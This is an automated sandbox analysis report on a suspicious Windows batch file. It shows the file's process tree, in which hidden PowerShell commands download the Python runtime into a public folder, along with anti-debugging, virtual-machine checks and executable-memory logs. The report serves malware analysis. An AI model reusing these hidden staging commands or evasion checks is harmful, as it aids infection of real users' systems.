Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6403_us	July 26, 2024, 6:36 p.m.	July 26, 2024, 6:39 p.m.

Size	4.3KB
Type	ASCII text, with very long lines, with CRLF line terminators
MD5	`948fdedc86c635c28b83bcd72f3557bd`
SHA256	`27c6fbaddd96e9b309822dd5973eb348f2caca54440cdb834721b288b0ffef01`
CRC32	`FC49728A`
ssdeep	`96:6D8M6JYyXDkFeAuyfAn225oqcgjcyYBZCxPRAKiAjaH2yKsyfav6GoAP2DP/QjI6:/J9XU5uP/bjzYXIesjJyKsyyvcAPGkNN`
Yara	None matched

cmd.exe "C:\Windows\System32\cmd.exe" /c start /wait "cIKbIaSybJgOvI" C:\Users\test22\AppData\Local\Temp\c.cmd
1188
- cmd.exe C:\Windows\system32\cmd.exe /K C:\Users\test22\AppData\Local\Temp\c.cmd
  2064
  - powershell.exe powershell -WindowStyle Hidden -Command "& {
    2152
  - cmd.exe C:\Windows\system32\cmd.exe /c powershell -command "[CultureInfo]::InvariantCulture.TextInfo.ToLower([string]$env:C)"
    2284
    - powershell.exe powershell -command "[CultureInfo]::InvariantCulture.TextInfo.ToLower([string]$env:C)"
      2336
  - powershell.exe powershell -command "Invoke-WebRequest -URI https://www.python.org/ftp/python/3.10.0/python-3.10.0-embed-win32.zip -OutFile C:\Users\Public\+.zip"
    2420
  - powershell.exe powershell -command "Expand-Archive -Path C:\Users\Public\+.zip -DestinationPath C:\Users\Public\+"
    2508

Name	Response	Post-Analysis Lookup
No hosts contacted.

IP Address	Status	Action
No hosts contacted.

Suricata Alerts

No Suricata Alerts

Suricata TLS

No Suricata TLS

Queries for the computername (24 events)

Time & API	Arguments	Status	Return
GetComputerNameW July 26, 2024, 6:36 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 26, 2024, 6:36 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 26, 2024, 6:36 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 26, 2024, 6:36 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameA July 26, 2024, 6:36 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 26, 2024, 6:36 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 26, 2024, 6:36 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 26, 2024, 6:36 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 26, 2024, 6:36 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 26, 2024, 6:36 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameA July 26, 2024, 6:36 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 26, 2024, 6:36 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 26, 2024, 6:36 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 26, 2024, 6:36 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 26, 2024, 6:36 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 26, 2024, 6:36 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameA July 26, 2024, 6:36 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 26, 2024, 6:36 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 26, 2024, 6:36 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 26, 2024, 6:36 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 26, 2024, 6:36 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 26, 2024, 6:36 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameA July 26, 2024, 6:36 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 26, 2024, 6:36 p.m.	computer_name: TEST22-PC	1	1

Checks if process is being debugged by a debugger (4 events)

Time & API	Arguments	Status	Return	Repeated
IsDebuggerPresent July 26, 2024, 6:36 p.m.			0	0
IsDebuggerPresent July 26, 2024, 6:36 p.m.			0	0
IsDebuggerPresent July 26, 2024, 6:36 p.m.			0	0
IsDebuggerPresent July 26, 2024, 6:36 p.m.			0	0

Command line console output was observed (26 events)

Time & API	Arguments	Status	Return
WriteConsoleW July 26, 2024, 6:36 p.m.	buffer: '$code' is not recognized as an internal or external command, operable program or batch file. console_handle: 0x0000000b	1	1
WriteConsoleW July 26, 2024, 6:37 p.m.	buffer: The system cannot find the path specified. console_handle: 0x00000007	1	1
WriteConsoleW July 26, 2024, 6:37 p.m.	buffer: The system cannot find the path specified. console_handle: 0x0000000b	1	1
WriteConsoleW July 26, 2024, 6:36 p.m.	buffer: Missing closing '}' in statement block. console_handle: 0x00000023	1	1
WriteConsoleW July 26, 2024, 6:36 p.m.	buffer: At line:1 char:4 console_handle: 0x0000002f	1	1
WriteConsoleW July 26, 2024, 6:36 p.m.	buffer: + CategoryInfo : ParserError: (CloseBraceToken:TokenId) [], Paren console_handle: 0x00000047	1	1
WriteConsoleW July 26, 2024, 6:36 p.m.	buffer: tContainsErrorRecordException console_handle: 0x00000053	1	1
WriteConsoleW July 26, 2024, 6:36 p.m.	buffer: + FullyQualifiedErrorId : MissingEndCurlyBrace console_handle: 0x0000005f	1	1
WriteConsoleW July 26, 2024, 6:36 p.m.	buffer: The term 'Invoke-WebRequest' is not recognized as the name of a cmdlet, functio console_handle: 0x00000023	1	1
WriteConsoleW July 26, 2024, 6:36 p.m.	buffer: n, script file, or operable program. Check the spelling of the name, or if a pa console_handle: 0x0000002f	1	1
WriteConsoleW July 26, 2024, 6:36 p.m.	buffer: th was included, verify that the path is correct and try again. console_handle: 0x0000003b	1	1
WriteConsoleW July 26, 2024, 6:36 p.m.	buffer: At line:1 char:18 console_handle: 0x00000047	1	1
WriteConsoleW July 26, 2024, 6:36 p.m.	buffer: + Invoke-WebRequest <<<< -URI https://www.python.org/ftp/python/3.10.0/python- console_handle: 0x00000053	1	1
WriteConsoleW July 26, 2024, 6:36 p.m.	buffer: 3.10.0-embed-win32.zip -OutFile C:\Users\Public\+.zip console_handle: 0x0000005f	1	1
WriteConsoleW July 26, 2024, 6:36 p.m.	buffer: + CategoryInfo : ObjectNotFound: (Invoke-WebRequest:String) [], C console_handle: 0x0000006b	1	1
WriteConsoleW July 26, 2024, 6:36 p.m.	buffer: ommandNotFoundException console_handle: 0x00000077	1	1
WriteConsoleW July 26, 2024, 6:36 p.m.	buffer: + FullyQualifiedErrorId : CommandNotFoundException console_handle: 0x00000083	1	1
WriteConsoleW July 26, 2024, 6:37 p.m.	buffer: The term 'Expand-Archive' is not recognized as the name of a cmdlet, function, console_handle: 0x00000023	1	1
WriteConsoleW July 26, 2024, 6:37 p.m.	buffer: script file, or operable program. Check the spelling of the name, or if a path console_handle: 0x0000002f	1	1
WriteConsoleW July 26, 2024, 6:37 p.m.	buffer: was included, verify that the path is correct and try again. console_handle: 0x0000003b	1	1
WriteConsoleW July 26, 2024, 6:37 p.m.	buffer: At line:1 char:15 console_handle: 0x00000047	1	1
WriteConsoleW July 26, 2024, 6:37 p.m.	buffer: + Expand-Archive <<<< -Path C:\Users\Public\+.zip -DestinationPath C:\Users\Pu console_handle: 0x00000053	1	1
WriteConsoleW July 26, 2024, 6:37 p.m.	buffer: blic\+ console_handle: 0x0000005f	1	1
WriteConsoleW July 26, 2024, 6:37 p.m.	buffer: + CategoryInfo : ObjectNotFound: (Expand-Archive:String) [], Comm console_handle: 0x0000006b	1	1
WriteConsoleW July 26, 2024, 6:37 p.m.	buffer: andNotFoundException console_handle: 0x00000077	1	1
WriteConsoleW July 26, 2024, 6:37 p.m.	buffer: + FullyQualifiedErrorId : CommandNotFoundException console_handle: 0x00000083	1	1

Uses Windows APIs to generate a cryptographic key (50 out of 180 events)

Time & API	Arguments	Status	Return
CryptExportKey July 26, 2024, 6:36 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x004a9998 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 26, 2024, 6:36 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x004a9ad8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 26, 2024, 6:36 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x004a9ad8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 26, 2024, 6:36 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x004a9ad8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 26, 2024, 6:36 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x004a92d8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 26, 2024, 6:36 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x004a92d8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 26, 2024, 6:36 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x004a92d8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 26, 2024, 6:36 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x004a92d8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 26, 2024, 6:36 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x004a92d8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 26, 2024, 6:36 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x004a92d8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 26, 2024, 6:36 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x004a9ad8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 26, 2024, 6:36 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x004a9ad8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 26, 2024, 6:36 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x004a9ad8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 26, 2024, 6:36 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x004aa058 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 26, 2024, 6:36 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x004aa058 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 26, 2024, 6:36 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x004aa058 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 26, 2024, 6:36 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x004a9d58 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 26, 2024, 6:36 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x004aa058 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 26, 2024, 6:36 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x004aa058 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 26, 2024, 6:36 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x004aa058 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 26, 2024, 6:36 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x004aa058 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 26, 2024, 6:36 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x004aa058 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 26, 2024, 6:36 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x004aa058 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 26, 2024, 6:36 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x004aa058 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 26, 2024, 6:36 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x004a9e18 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 26, 2024, 6:36 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x004a9e18 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 26, 2024, 6:36 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x004a9e18 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 26, 2024, 6:36 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x004a9e18 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 26, 2024, 6:36 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x004a9e18 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 26, 2024, 6:36 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x004a9e18 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 26, 2024, 6:36 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x004a9e18 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 26, 2024, 6:36 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x004a9e18 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 26, 2024, 6:36 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x004a9e18 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 26, 2024, 6:36 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x004a9e18 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 26, 2024, 6:36 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x004a9e18 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 26, 2024, 6:36 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x004a9e18 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 26, 2024, 6:36 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x004a9e18 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 26, 2024, 6:36 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x004a9e18 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 26, 2024, 6:36 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x004a9e98 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 26, 2024, 6:36 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x004a9e98 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 26, 2024, 6:36 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x004a9e98 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 26, 2024, 6:36 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x004a9e98 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 26, 2024, 6:36 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x004a9e98 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 26, 2024, 6:36 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x004a9e98 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 26, 2024, 6:36 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x006d8bd0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 26, 2024, 6:36 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x006d8d10 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 26, 2024, 6:36 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x006d8d10 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 26, 2024, 6:36 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x006d8d10 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 26, 2024, 6:36 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x006d8490 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 26, 2024, 6:36 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x006d8490 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx July 26, 2024, 6:36 p.m.		1	1	0

Allocates read-write-execute memory (usually to unpack itself) (50 out of 552 events)

Time & API	Arguments	Status
NtAllocateVirtualMemory July 26, 2024, 6:36 p.m.	process_identifier: 2152 region_size: 1048576 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02770000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 26, 2024, 6:36 p.m.	process_identifier: 2152 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02830000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory July 26, 2024, 6:36 p.m.	process_identifier: 2152 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72fd1000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 26, 2024, 6:36 p.m.	process_identifier: 2152 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0245a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory July 26, 2024, 6:36 p.m.	process_identifier: 2152 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 8192 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72fd2000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 26, 2024, 6:36 p.m.	process_identifier: 2152 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02452000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 26, 2024, 6:36 p.m.	process_identifier: 2152 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02462000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 26, 2024, 6:36 p.m.	process_identifier: 2152 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02831000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 26, 2024, 6:36 p.m.	process_identifier: 2152 region_size: 8192 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02832000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 26, 2024, 6:36 p.m.	process_identifier: 2152 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x024ca000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 26, 2024, 6:36 p.m.	process_identifier: 2152 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02463000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 26, 2024, 6:36 p.m.	process_identifier: 2152 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02464000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 26, 2024, 6:36 p.m.	process_identifier: 2152 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x024db000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 26, 2024, 6:36 p.m.	process_identifier: 2152 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x024d7000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 26, 2024, 6:36 p.m.	process_identifier: 2152 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0245b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 26, 2024, 6:36 p.m.	process_identifier: 2152 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x024c2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 26, 2024, 6:36 p.m.	process_identifier: 2152 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x024d5000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 26, 2024, 6:36 p.m.	process_identifier: 2152 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02465000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 26, 2024, 6:36 p.m.	process_identifier: 2152 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x024cc000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 26, 2024, 6:36 p.m.	process_identifier: 2152 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02710000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 26, 2024, 6:36 p.m.	process_identifier: 2152 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02466000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 26, 2024, 6:36 p.m.	process_identifier: 2152 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x024dc000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 26, 2024, 6:36 p.m.	process_identifier: 2152 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x024c3000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 26, 2024, 6:36 p.m.	process_identifier: 2152 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x024c4000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 26, 2024, 6:36 p.m.	process_identifier: 2152 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x024c5000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 26, 2024, 6:36 p.m.	process_identifier: 2152 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x024c6000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 26, 2024, 6:36 p.m.	process_identifier: 2152 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x024c7000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 26, 2024, 6:36 p.m.	process_identifier: 2152 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x024c8000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 26, 2024, 6:36 p.m.	process_identifier: 2152 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x024c9000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 26, 2024, 6:36 p.m.	process_identifier: 2152 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04e10000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 26, 2024, 6:36 p.m.	process_identifier: 2152 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04e11000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 26, 2024, 6:36 p.m.	process_identifier: 2152 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04e12000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 26, 2024, 6:36 p.m.	process_identifier: 2152 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04e13000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 26, 2024, 6:36 p.m.	process_identifier: 2152 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04e14000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 26, 2024, 6:36 p.m.	process_identifier: 2152 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04e15000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 26, 2024, 6:36 p.m.	process_identifier: 2152 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04e16000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 26, 2024, 6:36 p.m.	process_identifier: 2152 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04e17000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 26, 2024, 6:36 p.m.	process_identifier: 2152 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04e18000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 26, 2024, 6:36 p.m.	process_identifier: 2152 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04e19000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 26, 2024, 6:36 p.m.	process_identifier: 2152 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04e1a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 26, 2024, 6:36 p.m.	process_identifier: 2152 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04e1b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
